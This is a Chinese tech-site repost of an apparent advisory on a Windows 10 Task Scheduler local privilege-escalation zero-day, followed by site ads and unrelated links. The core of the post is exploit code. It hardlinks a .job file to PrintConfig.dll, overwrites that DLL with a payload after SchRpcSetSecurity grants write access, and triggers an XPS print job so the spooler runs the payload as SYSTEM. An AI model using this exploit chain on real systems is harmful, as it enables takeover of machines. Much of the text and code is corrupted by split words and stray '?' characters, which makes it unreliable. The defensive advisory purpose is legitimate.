好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

win10本地提权0day预警实例分析

这篇 文章 跟大家分析一下“win10本地提权 0day 预警实例分析”。 内容 详细易懂,对“win10本地提权 0day 预警实例分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“win10本地提权 0day 预警实例分析”的知识吧。

0x00 漏洞背景

win10中任务调度服务导出的 函数 没有验证 调用 者的权限,任意权限的 用户 调用 该 函数 可以 获取 系统敏感 文件 的写权限,进而提权。

0x01 漏洞影响

漏洞影响win10和windows server 2016。目前发布的EXP暂时只能用于x64系统。

0x02 漏洞详情

win10系统Task Scheduler任务调度服务中ALPC 调用 接口导出了SchRpcSetS ecurity 函数 ,该 函数 能够对 一个 任务或者 文件 夹设置安全描述符。

  HRESULT SchRpcSetS ecurity (
? [in, string] const wchar_t* path,
? [in, string] const wchar_t* sddl,
? [in] DWORD flags
);

该服务是通过svchost的服务组netsvcs所启动的,对应的dll是schedsvc.dll。

在xp系统中,任务存放在C:\Windows\Tasks目录,后缀为.job;而win7及以后的版本任务以xml的格式存放在C:\Windows\Sy stem 32\Tasks目录。

可能是为了兼容的考虑,SchRpcSetS ecurity 函数 在win10中仍然会检测C:\Windows\Tasks目录下是否存在后缀为.job的 文件 ,如果存在则会写入DACL数据。如果将job 文件 硬 链接 到特定的dll那么特定的dll就会被写入DACL数据,本来普通 用户 对特定的dll只具有读权限,这样就具有了写权限,接下来向dll写入漏洞利用 代码 并启动相应的程序就获得了提权。

那么首先需要找到 一个 普通 用户 具有读权限而系统具有写入DACL权限的dll,EXP中用的是C:\Windows\Sy stem 32\DriverStore\FileRepository\prnms003.inf_amd64_4592475aca2acf83\Amd64\printcon fig .dll,然后将C:\Windows\Tasks\UpdateTask.job硬 链接 到这个dll。

  ? ?WIN32_FIND_DATA FindFileData;
? ?HANDLE hFind;
? ?hFind = FindF irs tFile(L"C:\\Windows\\Sy stem 32\\DriverStore\\FileRepository\\prnms003.inf_amd64*", &FindFileData);
? ?wchar_t BeginPath[MAX_PATH] = L"c:\\windows\\sy stem 32\\DriverStore\\FileRepository\\";
? ?wchar_t PrinterDriverFolder[MAX_PATH];
? ?wchar_t En dpath [23] = L"\\Amd64\\PrintCon fig .dll";
? ?wmem cpy (PrinterDriverFolder, FindFileData.cFileName, w csl en(FindFileData.cFileName));
? ?FindClose(hFind);
? ?wcscat(BeginPath, PrinterDriverFolder);
? ?wcscat(BeginPath, En dpath );

? ?//Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of
? ?CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", BeginPath);

在 调用 SchRpcSetS ecurity 函数 使普通 用户 成功 获取 了对该dll写入的权限之后写入资源 文件 中的exploit.dll。

  ? ?//Must be name of final DLL.. might be better ways to grab the handle
? ?HMODULE mod = GetModuleHandle(L"ALPC-TaskSched-LPE");

? ?//Payload is included as a resource, you need to modify this resource accordingly.
? ?HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
? ?unsigned int myResourceSize = ::SizeofResource(mod, myResource);
? ?HGLOBAL myResourceData = ::LoadResource(mod, myResource);
? ?void* pMyBinaryData = ::LockResource(myResourceData);

? ?//We try to open the DLL in a loop, it Could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue
? ?HANDLE hFile;
? ?DWORD dwBytesWritten = 0;
? ?do {
? ? ? ?hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ nor MAL,NULL); ? ? ? ? ? ? ? ? ?
? ? ? ?WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL); ? ? ? ? ?
? ? ? ?if (hFile == INVALID_HANDLE_VALUE)
? ? ? ?{
? ? ? ? ? ?Sleep(5000);
? ? ? ?}
? ?} while (hFile == INVALID_HANDLE_VALUE);
? ?CloseHandle(hFile);

printcon fig .dll和系统打印相关,并且没有被print spooler服务 默 认启动。所以随后 调用 StartXpsPrintJob开始 一个 XPS打印。

  ? ?//After writing PrintCon fig .dll we start an XpsPrintJob to load the dll into the print spooler service.
? ?CoInitialize(nullptr);
? ?IXpsOMObjectFactory *xpsFactory = NULL;
? ?CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast<LPVOID*>(&xpsFactory));
? ?HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
? ?IXpsPrintJob *job = NULL;
? ?IXpsPrintJobStream *jobStream = NULL;
? ?StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
? ?jobStream->Close();
? ?CoUninitialize();
? ?return 0;

整个漏洞利用程序编译出来是个dll,把它注入到notepad中运行,发现spoolsv.exe创建的notepad已经具有SY stem 权限,而系统中的printcon fig .dll也被 修改 成了资源 文件 中的exploit.dll。

0x03 防御措施

建议 用户 安装360安全卫士等终端防御软件 拦截 利用此类漏洞的攻击,不要打开来源不明的程序。

关于win10本地提权 0day 预警实例分析就 分享 到这里啦,希望上述 内容 能够让大家有所提升。如果想要学习更多知识,请大家多多留意小编的更新。谢谢大家关注一下网站!

小编说

以上是 为你收集整理的 win10本地提权0day预警实例分析 全部内容。

如果觉得 网站内容还不错,欢迎将 推荐给好友。

(window.slotbydup = window.slotbydup || []).push({ id: "u6900636", container: "_dwjuyyx82g", async: true });

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail测试数据 举报,一经查实,本站将立刻删除。

相关推荐

Win11右键设计反人类?教你恢复Win11完整右键菜单方法

微软已经在10月5日发布了Windows 11正式版,很多朋友也已经升级了。不过对于Win11的一些新设计,并不是所有人都能适应的,例如新的右键快捷菜单,就不少朋友表示接受不了。

win11右键怎么设置原来的模样 win11右键菜单改回传统模式操作方法

今天小编就来为大家具体讲一讲win11右键菜单改回传统模式教程,需要的朋友一起看看。

win10右键新建卡顿2023解决方法

在使用我们的鼠标在桌面新建文件夹的时候,总是会出现一些卡顿延迟的情况,对于急性子来说,简直非常不友好没那么这个问题该怎么去解决呢,其实重装鼠标驱动或者使用命令代码都能解决。

(window.slotbydup = window.slotbydup || []).push({id: "u6900634",container: "_odx3ptvhth",async: true});

win7升级win10错误代码0x80072f8f-0x20000解决方法

win7系统目前微软已经不支持更新和修复出现的问题了,大家都在把win7升级为win10系统。其中出现错误代码0x80072f8f-0x20000该如何解决?这里帮助大家详细讲解一下解决方法,希望对大家有帮助!

win10右键显示设置打不开怎么办

有很的用户们在重装系统之后,或者不小心对系统文件进行了清理,导致在使用win10系统的时候,鼠标右键无法打开显示设置了,这时候只要先执行命令,再去服务中打开相关内容即可。

win7升级win10需要多少内存

win7在微软停止服务之后大家为了电脑更加安全,很多用户都选择升级为win10系统。在升级之前大家想了解一下win10系统需要多少内存才支持,这里详细讲解win10需要的电脑配置。

(window.slotbydup = window.slotbydup || []).push({id: "u6900634",container: "_odx3ptvhth",async: true});

win11跳过登录微软账户

由于win11开启需要用微软账户登录,而使用微软账户登录需要联网,但是不少朋友新机开机时又跳过了联网,这时候会出现无法进入系统的情况,其实我们只要随便输入一个不存在的账户就可以了。

Win10鼠标指针抖动怎么办?Win10鼠标指针抖动的解决方法

最近有不少小伙伴在使用Win10电脑的时候发现自己的鼠标指针会自动抖动,经常会在使用的时候跑偏掉,那么遇到这种情况要怎么办呢?下面就和小编一起来看看有什么解决方法吧。Win10鼠标指针抖动的解决方法1、首先检查一下是不是鼠标本身的原因,将鼠标插到别的电脑上试一下会不会出现鼠标光标乱跑的问题。依然出现...

查看更多关于win10本地提权0day预警实例分析的详细内容...

  阅读:39次